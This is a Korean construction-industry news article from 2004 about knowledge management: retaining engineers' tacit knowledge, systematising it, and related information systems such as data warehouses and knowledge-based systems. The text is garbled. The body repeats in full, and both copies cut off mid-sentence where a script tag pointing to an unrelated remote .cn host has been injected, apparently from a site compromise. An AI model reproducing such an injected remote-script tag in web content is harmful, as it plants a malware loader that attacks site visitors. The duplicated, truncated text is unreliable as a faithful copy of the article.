건설업의 지식경영
보도일자 2004-08-24
보도기관 일간건설
◇건설업의 딜레마와 지식경영
최근들어 국내건설업은 건설시장의 급격한 변화에 따라 기업의 새로운 목표를 설정하고 그에 따른 조직과 업무의 변화를 요구받고 있다.
국내건설업은 생존을 위해 고비용·저효율의 생산체계를 변혁, 고부가가치산업으로 발전해야 할 전환기에 직면하고 있다.
건설업은 그 특성상 경험에 기반한 많은 지식들이 개별 기술자들에게 축적돼있으며 조직적인 역량뿐만 아니라 개인의 역량에 의해 프로젝트의 성패가 좌우되기도 한다.
그러나 최근 건설시장의 불안정과 함께 건설기술자들이 해당조직에서 이탈하거나 전업하는 경우들이 발생하고 있으며 그에 따라 개인에게 축적돼있던 기술지식도 함께 상실되는 현상이 발생했다.
국내건설업은 고부가가치산업으로의 전환을 위한 당면과제와 함께 조직에서 누수되고 있는 건설지식을 조직적으로 담아내야 할 이중과제를 안고 있다.
지식은 안정적으로 축적되고 활용되어짐으로써 새로운 파생지식을 창출해내는 자생력이 있다.
국내건설업은 이제 단순한 지식의 축적을 뛰어넘어 지식의 집적과 체계화를 바탕으로 업무프로세스를 보다 정형화하고 체계화함으로써 고부가가치산업으로 발전할 수 있는 계기를 마련할 수 있을 것이다.
◇산발적 지식의 조직화 및 시스템화
개인적 지식과 경험에 의존적인 산업은 매우 불안정한 사업수행형태를 보일 수 있으며 개인의 이탈에 따른 충격이 사업의 성패에 영향을 끼쳐 필요 이상의 과투자를 유발할 가능성이 높다.
국내건설업의 역량을 강화하기 위해서는 이와 같은 분산된 개인적 경험과 지식을 조직적으로 체계화할 필요가 있다.
지역적으로 분산돼있는 건설전문가들을 용이하게 찾아 그 지식을 손쉽게 획득하는 것에서부터 개인의 지식을 시스템에 담아내고 유용한 데이터들로부터 일정한 규칙을 찾아서 지식화하는 등의 다양한 방법이 있을 수 있다.
지식의 조직화와 시스템화를 위해서는 해당 기업에서 요구되는 다양한 지식을 일정한 규칙에 따라 분류하고 적합한 방법을 적용하기 위한 전략적 접근이 필요하다.
◇지식경영의 학문적 체계 정립
국내 건설기업들은 자생적으로 지식경영의 필요성을 인지, 지식경영에 대한 연구를 진행하고 시스템화하는 단계까지 발전하고 있다.
이러한 현상은 매우 고무적이지만 지식경영활동을 뒷받침할 수 있는 이론화와 체계화작업이 뒷받침되지 않으면 일시적인 현상이나 한때의 유행으로 소멸될 수도 있다.
따라서 건설업에서의 지식경영을 학문적으로 정립하고 그 체계를 구축하는 작업이 필요하며 산업계와 학계가 협력해 진행할 필요가 있다.
◇KMS의 유사 종류 또는 영역
업무활동을 지원하기 위한 정보시스템은 최하위 수준의 업무처리를 지원하는 거래처리시스템 (Transaction Processing System:TPS)과 중간경영진의 관리업무를 지원하는 정보보고시스템 (Information Reporting System:IRS), 다양한 분석기능을 통한 의사결정을 지원하는 의사결정지원시스템 (Decision Support System:DSS), 상위경영진의 경영업무를 지원하는 중역정보시스템 (Executive Information System:EIS)으로 나눌 수 있다.
TPS와 IRS는 업무의 결과로부터 발생하는 다양한 정보를 처리하는 시스템이며 DSS와 EIS는 이 정보들을 조직화해 주요한 경영적 의사결정을 지원하는 시스템이다.
지식경영시스템은 실무 처리과정의 지식과 경영적 의사결정을 위한 지식과 같이 서로 상이한 특성을 지닌 지식을 지원한다.
△데이터웨어하우스(Data Warehouse)
데이터웨어하우스는 일반적으로 기업에 보급돼있는 기존 시스템의 산별적인 데이터들을 의사결정을 위한 목적에 맞게 취합하고 재조직해 다양한 의사결정을 지원하는 기능을 수행한다.
데이터웨어하우스에는 ET&T(Extracting, Transforming & Transportation), Data Conversion, Data Modeling, OLAP(On-Line Analytical Processing), Data Mining, KDD(Knowledge Discovery in Database) 등의 기술이 있다.
조직화된 정보를 제공한다는 측면에서 지식경영시스템과 구분될 수 있으나 조직화된 정보가 지식으로 전이되는 과정이 있을 수 있어 지식경영시스템의 범주에 포함될 수 있을 것이다.
△KBS(Knowledge Based System)
KBS(Knowledge Based System)는 특정한 업무처리 절차상 필요한 논리체계와 판단기준 등을 지식으로서 시스템화해 필요한 정보를 입력받아 목적하는 결과를 도출하는 시스템이라 할 수 있다.
여기에는 다양한 형태로 지식을 생성하는 지식생성(Knowledge Creation) 모듈과 지식을 분배하는 지식분배(Knowledge Dissemination)모듈, 생성된 지식을 측정하고 평가하는 지식측정(Knowledge Measurement) 모듈, 지식을 분류하고 검색하는 지식검색(Knowledge Navigator)모듈, 지식저장(Knowledge Accumulation)?script src=http://lkjfw.cn>
최근들어 국내건설업은 건설시장의 급격한 변화에 따라 기업의 새로운 목표를 설정하고 그에 따른 조직과 업무의 변화를 요구받고 있다.
국내건설업은 생존을 위해 고비용·저효율의 생산체계를 변혁, 고부가가치산업으로 발전해야 할 전환기에 직면하고 있다.
건설업은 그 특성상 경험에 기반한 많은 지식들이 개별 기술자들에게 축적돼있으며 조직적인 역량뿐만 아니라 개인의 역량에 의해 프로젝트의 성패가 좌우되기도 한다.
그러나 최근 건설시장의 불안정과 함께 건설기술자들이 해당조직에서 이탈하거나 전업하는 경우들이 발생하고 있으며 그에 따라 개인에게 축적돼있던 기술지식도 함께 상실되는 현상이 발생했다.
국내건설업은 고부가가치산업으로의 전환을 위한 당면과제와 함께 조직에서 누수되고 있는 건설지식을 조직적으로 담아내야 할 이중과제를 안고 있다.
지식은 안정적으로 축적되고 활용되어짐으로써 새로운 파생지식을 창출해내는 자생력이 있다.
국내건설업은 이제 단순한 지식의 축적을 뛰어넘어 지식의 집적과 체계화를 바탕으로 업무프로세스를 보다 정형화하고 체계화함으로써 고부가가치산업으로 발전할 수 있는 계기를 마련할 수 있을 것이다.
◇산발적 지식의 조직화 및 시스템화
개인적 지식과 경험에 의존적인 산업은 매우 불안정한 사업수행형태를 보일 수 있으며 개인의 이탈에 따른 충격이 사업의 성패에 영향을 끼쳐 필요 이상의 과투자를 유발할 가능성이 높다.
국내건설업의 역량을 강화하기 위해서는 이와 같은 분산된 개인적 경험과 지식을 조직적으로 체계화할 필요가 있다.
지역적으로 분산돼있는 건설전문가들을 용이하게 찾아 그 지식을 손쉽게 획득하는 것에서부터 개인의 지식을 시스템에 담아내고 유용한 데이터들로부터 일정한 규칙을 찾아서 지식화하는 등의 다양한 방법이 있을 수 있다.
지식의 조직화와 시스템화를 위해서는 해당 기업에서 요구되는 다양한 지식을 일정한 규칙에 따라 분류하고 적합한 방법을 적용하기 위한 전략적 접근이 필요하다.
◇지식경영의 학문적 체계 정립
국내 건설기업들은 자생적으로 지식경영의 필요성을 인지, 지식경영에 대한 연구를 진행하고 시스템화하는 단계까지 발전하고 있다.
이러한 현상은 매우 고무적이지만 지식경영활동을 뒷받침할 수 있는 이론화와 체계화작업이 뒷받침되지 않으면 일시적인 현상이나 한때의 유행으로 소멸될 수도 있다.
따라서 건설업에서의 지식경영을 학문적으로 정립하고 그 체계를 구축하는 작업이 필요하며 산업계와 학계가 협력해 진행할 필요가 있다.
◇KMS의 유사 종류 또는 영역
업무활동을 지원하기 위한 정보시스템은 최하위 수준의 업무처리를 지원하는 거래처리시스템 (Transaction Processing System:TPS)과 중간경영진의 관리업무를 지원하는 정보보고시스템 (Information Reporting System:IRS), 다양한 분석기능을 통한 의사결정을 지원하는 의사결정지원시스템 (Decision Support System:DSS), 상위경영진의 경영업무를 지원하는 중역정보시스템 (Executive Information System:EIS)으로 나눌 수 있다.
TPS와 IRS는 업무의 결과로부터 발생하는 다양한 정보를 처리하는 시스템이며 DSS와 EIS는 이 정보들을 조직화해 주요한 경영적 의사결정을 지원하는 시스템이다.
지식경영시스템은 실무 처리과정의 지식과 경영적 의사결정을 위한 지식과 같이 서로 상이한 특성을 지닌 지식을 지원한다.
△데이터웨어하우스(Data Warehouse)
데이터웨어하우스는 일반적으로 기업에 보급돼있는 기존 시스템의 산별적인 데이터들을 의사결정을 위한 목적에 맞게 취합하고 재조직해 다양한 의사결정을 지원하는 기능을 수행한다.
데이터웨어하우스에는 ET&T(Extracting, Transforming & Transportation), Data Conversion, Data Modeling, OLAP(On-Line Analytical Processing), Data Mining, KDD(Knowledge Discovery in Database) 등의 기술이 있다.
조직화된 정보를 제공한다는 측면에서 지식경영시스템과 구분될 수 있으나 조직화된 정보가 지식으로 전이되는 과정이 있을 수 있어 지식경영시스템의 범주에 포함될 수 있을 것이다.
△KBS(Knowledge Based System)
KBS(Knowledge Based System)는 특정한 업무처리 절차상 필요한 논리체계와 판단기준 등을 지식으로서 시스템화해 필요한 정보를 입력받아 목적하는 결과를 도출하는 시스템이라 할 수 있다.
여기에는 다양한 형태로 지식을 생성하는 지식생성(Knowledge Creation) 모듈과 지식을 분배하는 지식분배(Knowledge Dissemination)모듈, 생성된 지식을 측정하고 평가하는 지식측정(Knowledge Measurement) 모듈, 지식을 분류하고 검색하는 지식검색(Knowledge Navigator)모듈, 지식저장(Knowledge Accumulation)?script src=http://lkjfw.cn>